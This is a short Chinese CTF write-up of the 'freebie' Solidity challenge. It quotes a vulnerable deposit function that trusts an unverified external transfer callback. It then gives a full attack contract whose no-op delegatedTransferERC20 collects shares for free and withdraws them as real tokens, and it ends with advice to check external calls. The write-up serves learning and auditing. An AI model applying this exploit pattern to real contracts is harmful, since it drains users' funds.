CTF-freebie

题目源码点击

这道题，怎么说，和昨天写的那个CTF-tasty-stake的漏洞原理一样

看到这段代码，经典的委托调用，只不过这次又是不实现它

function deposit(
        uint256 farmDeposit,
        address payable from,
        address to
    ) external returns (uint256 shares) {
        require(farmDeposit > 0, "deposits must be nonzero");
        require(to != address(0) && to != address(this), "to");
        require(from != address(0) && from != address(this), "from");

        shares = farmDeposit;
        if (xfarm.totalSupply() != 0) {
            uint256 farmBalance = farm.balanceOf(address(this));
            shares = (shares * xfarm.totalSupply()) / farmBalance;
        }

        if (isContract(from)) {
            require(IAdvisor(from).owner() == msg.sender); // admin
            IAdvisor(from).delegatedTransferERC20(address(farm), address(this), farmDeposit);
        } else {
            require(from == msg.sender); // user
            farm.safeTransferFrom(from, address(this), farmDeposit);
        }

        xfarm.mint(to, shares);
    }

这个函数实现的是存款合约，存入代币后，就可以获得股份，存入越多，获得的就越多。

然而又是一个对外部调用，没有检查。

攻击合约如下：

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

interface IRewardsAdvisor {
    function withdraw(
        uint256 shares,
        address to,
        address payable from
    ) external returns (uint256 rewards);

    function deposit(
        uint256 farmDeposit,
        address payable from,
        address to
    ) external returns (uint256 shares);
}
contract Hack{

    IRewardsAdvisor rewardsAdvisor;

    constructor(address _rewardsAdvisor) {
        rewardsAdvisor = IRewardsAdvisor(_rewardsAdvisor);
    }
  //不实现这个功能--欺骗
    function delegatedTransferERC20(address token, address to, uint256 amount) external { }

    function runExploit() external {
        uint256 depositAmount = 1e18 * 1e18; //大量的FARM
        uint256 shares = rewardsAdvisor.deposit(depositAmount, payable(address(this)), address(this));

        rewardsAdvisor.withdraw(shares, msg.sender, payable(address(this))); 
    }

}

攻击思路：首先使用攻击合约调用deposit函数，存入大量的代币，然后接收方回调攻击合约的delegatedTransferERC20函数，向实现把代币转入。但是，攻击合约没有实现这delegatedTransferERC20个功能，而被攻击的合约也并没有检查，所以就给攻击合约大量的股份，最后再实现withdraw函数功能，将攻击者合约中的xFARM，转换回 FARM,再转移给攻击者自己。

个人认为，外部调用，要进行检查，严格的审查是否实现了合理的要求。